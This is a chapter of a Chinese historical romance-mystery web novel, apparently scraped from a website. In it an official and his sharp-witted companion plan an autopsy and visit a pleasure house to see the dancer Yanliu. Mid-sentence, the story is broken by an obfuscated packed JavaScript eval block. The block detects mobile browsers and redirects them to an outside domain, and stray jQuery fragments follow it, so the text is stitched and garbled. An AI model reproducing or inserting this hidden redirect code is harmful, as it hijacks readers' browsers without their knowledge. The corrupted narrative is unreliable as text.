染朱门红豆炖年糕

9. 燕柳

    “所以你怀疑周琅是为人所害?”


    崔景天忧心忡忡地颔了颔首,“没错,这周琅素日里就爱去花天酒地绝不会因为喝醉了就意外死去。我想此事恐怕没有那么简单,只是苦于没有证据,无法报官。”


    薛嘉玉忽地出声提议:“没有证据,那我们去死者身上找证据即可。若是死因当真蹊跷,一验便知。”


    崔景天看向她的眼神蓦地生出几分诧异和欣赏,“裴砚,没想到你的侍女居然还会验尸?当真只是侍女?”


    裴砚面色复杂地扯了扯嘴角,“她的身份并不重要。”


    崔景天单手捏着下巴,“不过若要验尸,方得等到夜深人静之时。”


    他来此处也只是为了了解情况,长途跋涉了一路,裴砚还尚未进食,此刻也已经有些饥肠辘辘了,“那我们先去别处听听风声,到了晚上自会前来拜访。”


    说罢,二人拔腿就走,未曾料到崔景天却突然上前揪住他的衣袖,将裴砚生拉硬拽到一颗宽大的桂花树后面。


    裴砚急忙将自己的袖子扯出来,语重心长地教育:“景天,虽说你如今已然丧夫,但毕竟周琅刚死不久,你还是得要注意一下男女之间的距离。”


    只见她不以为然地摆了摆手,“你知道的,我与周琅无半点儿女私情。我是想问……你和她到底是什么关系?她身上穿着浮光锦,若真是你的侍女的话,不应该打扮得这么耀眼啊。你老实交代,这是不是你的心上人?”


    可他冷着一张脸,正气凛然地否认:“自然不是。如今我只想好好做官,不愿去想那些儿女私情。”


    这时,薛嘉玉缓缓靠近那颗藏着人的桂花树,想要偷听他们到底在说什么,可是偷鸡不成蚀把米,居然被裴砚给当场捉了个现行。


    他暗暗威胁:“想偷听?”


    薛嘉玉连忙摇头否认,两只手放在胸前不停地左右摇摆着。


    “自然不是。”


    裴砚自是知道她在撒谎,只是这是在别人的地盘上,教训自己的人总归是有些不大好的,他拂了拂袖,“罢了,不与你一般计较。”


    他走路时脚底像是抹了油一般,才不过一眨眼的功夫,就已经离开了这个萧瑟的院子,薛嘉玉还未来得及和崔景天道句再见,就匆匆忙忙地去追裴砚了。


    “大人,我们现在应当去何处探探风声?”


    “先去长乐坊寻些东西吃吧。”


    “长乐坊?”


    薛嘉玉一听这名字,就觉得这肯定是寻欢问柳的地方,果然男子都是一个模子里刻出来的,不管到了何处,不管成家与否,都喜欢去那种地方寻快活。


    可是她刚在心里面脑补出了这么大一段话,就听见裴砚解释:“没错,这长乐坊是洛阳最大的一家酒肆,听闻那里的厨子技艺不错,所以那些贵族子弟一向都爱在那儿吃喝玩乐。”


    原来是误会他了。


    然而才不过几秒,便又听见裴砚悠悠地补充:“不过呢,那长乐坊的舞女个个都长得倾国倾城,舞艺精湛,听闻那花魁曾凭借一曲《浮水之萍》艳惊洛阳。如今我也算是可以一饱眼福了。”


    薛嘉玉脸色一黑,亏她刚才还短暂地愧疚了几秒,没想到他竟然还是为了那里的舞女。


    不过毕竟他是长安的公子哥,贪图享受也是意料之中的。


    薛嘉玉并不关心这个,她只是好奇另外一件事情,“大人,方才我听你说是崔娘子寄了一封信给你,所以你其实并不是代表大理寺来的?”


    “你倒是聪明。”


    他掀开长乐坊大门处的珠帘,立刻就有一位身着青色纱裙的女子奉上了一支桂花,她的眉心点着一朵含苞欲放的花骨朵,“公子今日是来喝酒还是来赏舞的啊?”


    来了这长乐坊,裴砚也将原来冰冷的面庞一把舍弃,转而嬉皮笑脸地瞧着面前的美人,浑然一副纨绔公子的模样,“既然来了长乐坊,那定然是来赏舞的啊,顺道再来看看艳惊全城的花魁姑娘。”


    美人笑靥如花,一边往后退,一边冲着裴砚勾勾手指,眼波流转,“那公子便随奴家来吧。只是不知这位女子是公子的什么人啊?”


    裴砚连个眼神也不给身后的薛嘉玉,烦躁地摆了摆手,“随从罢了,不必管她,把我伺候高兴就成。”


    薛嘉玉不得不佩服他变脸的速度,平常都听人说女子翻脸的速度如翻书一样,可今日一瞧,她倒是觉得裴砚才担得起这话。


    分明刚才同她说话的时候,还摆着一副欠了他二五八万的大爷模样,现在有温香软玉在旁,就立刻换了一副模样,不知道的还以为他是个好说话的纨绔公子,其实就是一个人面兽心的狗官。


    那位美人在这长乐坊待了数年,看得出来这位公子来历不凡,定是出手阔绰,于是便带着他们来到了三楼的上好包厢,“公子,这是我们长乐坊最好的包厢,能够在这里将长乐坊所有的舞姬尽收眼底。燕柳姑娘将会在半个时辰之后登台表演,若是公子肯为她一掷千金的话,便能与她共处一室,行心中所想。”


    裴砚坐在凳子上,毫不客气地拿起刚才美人为他满上的茶盏,“我知道了,你先出去吧。”


    美人娇俏回应:“是。”


    待美人离开厢房后,薛嘉玉也丝毫没和裴砚客气,直接拉开凳子坐下,拿起桌上摆得规整的桂花糕,大口塞进嘴里。


    可是这桂花糕实属有些噎人,她吃了一口便没吃了,之后拿起旁边用玻璃盏装着的元宝酥,入口即化,唇齿间皆充盈着一股豆沙的味道。


    她倒是很喜欢这元宝酥的口感,一不留神便把一盘的元宝酥都给吃完了。


    大抵是一下子吃得太多了,薛嘉玉拿起旁边青白相间的茶壶,给自己的茶杯满上,然后一点也不淑女地将杯中的热茶全都一饮而尽。


    说实话,裴砚从未见过吃东西如此豪放的娘子。


    反倒是他一个男子却是用手拈起一块云片糕,小小地咬了一口,举止间尽显优雅二字。


    “薛娘子,你能否吃得文雅一点?”


    薛嘉玉瘪了瘪嘴巴,她抄起一片白花花的云片糕,“我不像您,是只靠清晨的露水就能饱腹的仙男。我是个活生生的人,从昨晚起便再也没进食了,早就饿得分不清东南西北了。再者,这玩意儿虽然噎人,但胜在好吃,而且这茶口感极好,一点都不让人觉得苦涩,我可不得多吃点嘛。”


    裴砚不知道是想到了什么,无奈地摇了摇头,也没有继续教训她,“废话,这茶可是上等的云雾茶。”


    “可是大人,你就这样抛下大理寺不管,溜到这洛阳帮崔娘子,就不怕事后被问责?”


    “你都猜到我是富贵子弟,既然家中有权有势,那就不必担心这个。”


    她想了想,这话确实没有说错,有的时候家世就是一个人最大的底气。


    “话说,大人,你一会儿当真要一掷千金


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15021523|162194||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?”


    裴砚“啪”的一声将一个金色的钱袋子给放在桌子上,“早就准备好了,那周琅喜欢来这儿寻花问柳,恐怕也是见过这位燕柳姑娘的。”


    薛嘉玉一时间没有抵挡住钱财的诱惑,竟下意识拨开钱袋子,原本她以为里面会装着好几枚银元宝,没想到打开一看,发现里头居然是金元宝!还是整整六枚金元宝!


    她的双眼登时放亮,脸上忽然浮现出一种谄媚的笑容,“大人,您看您这么有钱,不如慷慨解囊接济一下我呗,你看我一直潜伏在你身边当侍女,您是否也该给我些犒劳?”


    “此事等今晚你验过尸之后再说。”


    听闻此言,薛嘉玉原先满怀期待地脸立刻就垮了下来,她两手捧着脸颊,“好吧,但愿大人说到做到。”


    裴砚看她没从自己这里得到期望的答案,立刻就不高兴起来,倒是起了调侃她的心思,“你一个小女子这么市侩做什么?”


    “谁不市侩?不市侩一点怎么挣钱养家?”她轻飘飘地看了他一眼,忽然脑子灵光一闪,眉梢微挑,语调中夹杂着戏谑,“您是不食烟火的公子哥,自然不懂。不过您现在还有心思和我打趣儿呢?不应该想想到时候应该与燕柳姑娘如何行心中所想?”


    裴砚的一双剑眉陡然皱起,他理了理衣襟,将头偏了过去,好让她不要发现自己脸颊上染上的那一抹羞红,“本官可是正人君子,此生只娶心爱之人,只碰心爱之人,其他人绝不沾染。”


    薛嘉玉噗嗤一声笑了出来,她将喝完的茶盏用手指头顶起来把玩,“我还是第一次从男子口中听见这样的话,倒是稀奇。”


    “此乃裴家的家规,世世代代不可违逆。”


    她登时来了兴趣,“家规?”


    裴砚一时间觉得自己刚才有些失言,自己同一外人聊什么家规?


    “家规不便同外人道。”


    接下来的时间里,两人有一搭没一搭地聊着,转眼就到了燕柳姑娘登台表演《浮水之萍》一舞。


    裴砚披上大氅,与薛嘉玉一同来到走廊观赏。


    据言,这《浮水之萍》乃是燕柳姑娘一人所做,此舞以游子为主体,展现了如浮萍一般的游子胸怀大志来到长安,准备大施拳脚,可居大不易,最终还是一人落寞回乡,引得无数游子的共鸣,因而此舞无人可以比拟,哪怕有人专门向她求学此舞,可最终也只是学会了“形”,没有领悟到其中的“神”。


    燕柳姑娘身子曼妙,一袭红色舞衣,尽显意气风发之态,然此舞表演到后半段时,只见她撕下红色舞衣,只留下一身灰白色的衣裳,而曲子也立刻变得低沉婉转,不见先前那般高昂,似乎是游子未能得其志,只能收拾行囊,离开陋室,灰扑扑地回到家乡。


    曲终舞毕,明明时间只流逝了不过四分钟,可是在场的人却仿佛窥见了一位游子悲惨的一生。


    燕柳姑娘两手叠在身前,朝着面前的众人行了一谢幕礼,随即便有客官取下腰间的钱袋子,精准地扔在了舞台上,只为讨美人欢心。


    只要有一个客官开始扔钱,便会有更多的客官开始攀比起来谁扔的钱更多,他们争相朝着台上扔钱,只为一饱春色。


    此时,裴砚将手心里沉甸甸的钱袋子抛在了舞台上,左手曲起搁在镶了金的栏杆上,手掌心则是托着下巴,头发被高高束起,发尾轻轻扫在肩膀上,吊儿郎当地开口:“燕柳姑娘,可喜欢我给你的礼物啊?”